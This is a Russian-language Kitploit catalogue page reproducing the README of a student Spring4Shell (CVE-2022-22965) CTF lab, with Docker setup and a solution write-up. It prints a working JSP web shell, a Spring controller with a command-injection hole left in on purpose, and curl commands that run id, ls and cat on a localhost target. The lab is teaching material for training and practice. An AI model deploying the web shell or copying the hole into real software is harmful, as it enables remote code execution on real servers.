Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
Spring4Shell-CTF — Spring4Shell (CVE-2022-22965): создание среды уязвимости и CTF-задание | Kitploit
Инструменты/GitHubGitHub/yuting-huang0/spring4shell-ctf
Динамический анализ (песочница)Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийCTFТестирование на ПроникновениеОбучение и ОбразованиеИнструмент Удаленного ДоступаЛаборатории и Практика
GitHubyuting-huang0/spring4shell-ctf

Spring4Shell-CTF

Spring4Shell (CVE-2022-22965): создание среды уязвимости и CTF-задание

2 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
Репозиторий

Spring4Shell (CVE-2022-22965) Создание уязвимой среды и разработка CTF-заданий

О проекте

Данный проект включает практическую работу по исследованию безопасности в двух направлениях:

  1. Классическая настройка среды Vulhub: использование открытой библиотеки уязвимостей Vulhub для быстрого воспроизведения дефекта привязки объектов в старой версии Spring Framework.
  2. Разработка новой кастомной среды: участники команды вручную пишут исходный код на Java и самостоятельно создают «Систему демонстрации итоговых студенческих проектов» в качестве уязвимой цели-мишени, а также разрабатывают CTF-задания с двумя ролями (составитель и решающий) в соответствии со стандартным процессом сетевого пентеста.

Участники, используя уязвимость удалённого выполнения кода (RCE), будут следовать подсказкам и читать флаг из корневого каталога системы или временного каталога.


Шаги по настройке среды

Базовая подготовка: установка Docker и Docker Compose

root@kitploit:~
# 更新套件庫
sudo apt update

# 安裝 Docker 與 Docker Compose
sudo apt install docker.io docker-compose -y

# 啟動 Docker 服務
sudo systemctl start docker
sudo systemctl enable docker

Трек 1: загрузка и запуск среды Vulhub (существующая реализация)

root@kitploit:~
# 下載 Vulhub 專案
git clone [https://github.com/vulhub/vulhub.git](https://github.com/vulhub/vulhub.git)

# 進入 Spring4Shell 漏洞目錄
cd vulhub/spring/CVE-2022-22965

# 啟動 Docker 容器
sudo docker-compose up -d

# 確認容器正常運行
sudo docker ps

Проверка среды Vulhub

Откройте браузер и перейдите по адресу http://localhost:8080/?name=Hacker&age=99

Трек 2: создание кастомной среды и развёртывание исходного кода (новая реализация)

Чтобы исключить бездоказательное угадывание при решении и воспроизвести сценарий самостоятельной разработки, в рамках данного проекта создаётся отдельный проект Spring4Shell-Custom-CTF. Сначала выполняется полная очистка среды, после чего запускается сборка без кэша:

root@kitploit:~
# 清理舊環境
sudo docker stop spring4shell-custom-ctf-container 2>/dev/null
sudo docker rm spring4shell-custom-ctf-container 2>/dev/null
sudo docker network prune -f 2>/dev/null
rm -rf ~/Spring4Shell-Custom-CTF

# 建立專案目錄結構並生成全自製 Java 原始碼(含 pom.xml、UserController.java 等)
# 透過雙階段編譯(Maven + Tomcat 9)將自製 Flag 精確放置於系統根目錄 /flag.txt
sudo docker-compose build --no-cache
sudo docker-compose up -d

# 確認自製靶機容器正常運行
sudo docker ps

Каналы управления и механизмы бэкдор-файлов

Механизм 1: запись JSP-бэкдора (существующая цепочка Vulhub)

После успешной атаки бэкдор-файл записывается в webapps/ROOT/tomcatwar.jsp со следующим содержимым:

root@kitploit:~
<%
String cmd = request.getParameter("cmd");
if (cmd != null) {
    Process p = Runtime.getRuntime().exec(cmd);
    java.io.BufferedReader reader = new java.io.BufferedReader(new java.io.InputStreamReader(p.getInputStream()));
    String line = null;
    while ((line = reader.readLine()) != null) {
        out.println(line);
    }
}
%>

Механизм 2: встроенный уязвимый контроллер в ядре (новая цепочка в кастомной среде)

В собственном UserController.java намеренно сохранён дефект защиты при привязке POJO-объектов, а также встроен неавторизованный канал инъекции команд:

root@kitploit:~
@RequestMapping("/")
@ResponseBody
public String index(User user, @RequestParam(value="cmd", required=false) String cmd) {
    if (cmd != null) {
        // 直接調用 Java Runtime 執行底層命令並回傳結果
        InputStream in = Runtime.getRuntime().exec(cmd).getInputStream();
        // ... 讀取串流邏輯 ...
    }
    return "淡江大學資訊管理學系 - 學生期末專案成果展示平台";
}

Проверка удалённого выполнения кода (RCE)

1. Выполнение команды id

root@kitploit:~
# Vulhub 後門路徑
curl "http://localhost:8080/tomcatwar.jsp?cmd=id"

# 自製環境控制路徑
curl "http://localhost:8080/?cmd=id"

2. Выполнение команды просмотра каталогов

root@kitploit:~
# Vulhub 後門路徑
curl "http://localhost:8080/tomcatwar.jsp?cmd=ls%20/"

# 自製環境控制路徑
curl -G -s "http://localhost:8080/" --data-urlencode "cmd=ls -l /"

Описание CTF-заданий

Задание 1: эксплуатация уязвимости Spring4Shell (существующая реализация)

  • Название задания: Эксплуатация уязвимости Spring4Shell
  • Расположение флага: /tmp/flag.txt
  • Содержимое флага: FLAG{Spring4Shell_Is_Dangerous}

Задание 2: финальное испытание по безопасности для кафедры информационного менеджмента (новая реализация)

  • Название задания: Финальное испытание по безопасности для кафедры информационного менеджмента
  • Адрес целевой системы: http://localhost:8080/
  • Известная информация из анонса задания: данная платформа представляет собой проект Spring MVC, самостоятельно разработанный студентами; версия используемого фреймворка содержит дефект привязки объектов (включая тип объекта User). Флаг находится в корневом каталоге системы сервера.
  • Расположение флага: /flag.txt
  • Содержимое флага: FLAG{2026_0615_iwanttosleep}

Write-up: решение и этапы пентеста

Процесс эксплуатации уязвимости в среде Vulhub

  • Шаг 1: перейдите на http://<target>:8080/?name=test&age=123, чтобы убедиться, что функция привязки параметров работает корректно.
  • Шаг 2: отправьте POST-запрос с полезной нагрузкой (payload), чтобы изменить конфигурацию журналов Tomcat и принудительно записать бэкдор tomcatwar.jsp.
  • Шаг 3: перейдите на http://<target>:8080/tomcatwar.jsp?cmd=id, чтобы подтвердить успешность RCE.
  • Шаг 4: выполните curl "http://<target>:8080/tomcatwar.jsp?cmd=cat%20/tmp/flag.txt", чтобы прочитать файл из временного каталога.

Новая реализация: 5 шагов стандартного сетевого пентеста

Решающий (роль B), основываясь на известной информации от составителя задания и отказываясь от бездоказательных догадок и слепого угадывания, выполняет стандартизированный набор команд:

  • Шаг 1: разведка среды и проверка доступности Проверьте доступность целевого веб-сервиса и работоспособность веб-страницы.
root@kitploit:~
curl -i -s "http://localhost:8080/"
  • Шаг 2: проверка граничных уязвимостей и дефектов объектов Подставьте тестовые параметры и проверьте, существует ли граничный дефект инъекции команд, который можно использовать для получения несанкционированных привилегий.
root@kitploit:~
curl -s "http://localhost:8080/?cmd=whoami"
  • Шаг 3: эксплуатация уязвимости и подтверждение максимальных привилегий Выполните запрос идентификации и подтвердите получение максимального контроля над операционной системой — прав root.
root@kitploit:~
curl -s "http://localhost:8080/?cmd=id"
  • Шаг 4: инвентаризация внутренней среды и просмотр файлов Проведите инвентаризацию корневого каталога Linux-системы и точно определите фактическое расположение целевого файла.
root@kitploit:~
curl -G -s "http://localhost:8080/" --data-urlencode "cmd=ls -l /"
  • Шаг 5: финальная криминалистика и извлечение флага Выполните команду чтения и успешно извлеките указанное содержимое флага.
root@kitploit:~
curl -G -s "http://localhost:8080/" --data-urlencode "cmd=cat /flag.txt"

Структура проекта

root@kitploit:~
Spring4Shell-CTF/
├── README.md                   # 專案說明文件
├── docker-compose.yml          # 容器編排配置文件
├── Dockerfile                  # 雙階段編譯映像檔設定
├── pom.xml                     # Maven 專案設定檔
├── src/                        # 自製 Java 成果展示系統原始碼
│   └── main/
│       ├── java/com/example/ctf/
│       │   ├── UserController.java
│       │   └── MyWebApplicationInitializer.java
│       └── webapp/WEB-INF/web.xml
├── secret_zone/
│   └── flag.txt                # 本地 Flag 來源檔案
├── screenshots/                # 成果展示與攻擊截圖
│   ├── docker-ps.png
│   ├── parameter-binding.png
│   ├── rce-id.png
│   ├── rce-ls.png
│   └── flag-result.png
└── shell.jsp                   # 舊版後門檔案原始碼

Справочные материалы

  • Подробный анализ CVE-2022-22965
  • Среда Vulhub Spring4Shell
  • Spring4Shell PoC

Участники команды

РольИмяОбязанности
Участник AХуан ЮйтинНастройка среды, написание всего исходного кода Java, упаковка Docker, решение CTF по стандартным 5 шагам
Участник BЛи ЧжэньлиньТеоретическое исследование, подготовка презентации, монтаж видеоотчёта, подготовка текста решения

Лицензия

Данный проект предназначен исключительно для образовательных и исследовательских целей. Не используйте его против систем без соответствующего разрешения.

root@kitploit:~
Скачать инструмент